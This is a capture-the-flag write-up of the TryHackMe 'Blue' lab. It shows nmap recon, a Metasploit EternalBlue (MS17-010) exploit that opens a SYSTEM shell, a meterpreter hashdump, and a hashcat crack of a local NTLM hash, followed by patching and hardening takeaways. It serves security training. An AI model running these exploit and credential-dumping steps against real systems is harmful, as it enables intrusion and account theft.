Blue
TryHackMe · tryhackme.com/room/blue
TL;DR
Unpatched Windows 7 vulnerable to MS17-010 (EternalBlue). Exploit over SMB for a
SYSTEM shell, then dump and crack a local account's NTLM hash.
01Recon
nmap -sC -sV -oN nmap/blue 10.10.X.X
# 135 msrpc, 139/445 SMB, 3389 RDP — Windows 7 Pro
# SMB vuln scan:
nmap -p445 --script smb-vuln-ms17-010 10.10.X.X # VULNERABLE: MS17-01002Exploitation — EternalBlue
msfconsole -q
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.X.X
set LHOST tun0
run
# -> shell as NT AUTHORITY\SYSTEMBackgrounded the shell and upgraded to a full meterpreter, then migrated into a stable x64 process so the session survived.
03Post-exploitation — dump & crack
meterpreter > hashdump
# Administrator:500:... Jon:1000:aad3b...:ffb43f0de35be4d9917ac0cc8ad57f8d:::
# crack the non-default user (Jon):
hashcat -m 1000 jon.hash /usr/share/wordlists/rockyou.txt # -> alqfna22flags (×3)THM{…} — root of C:\, SAM/config, and Jon's Documents
04Takeaways
- Patch management is the whole lesson — MS17-010 was fixed in 2017; unpatched SMB is instant SYSTEM.
- Disable SMBv1 and segment/firewall 445 off untrusted networks.
- Local NTLM hashes crack fast against rockyou when passwords are weak — enforce length + block reuse.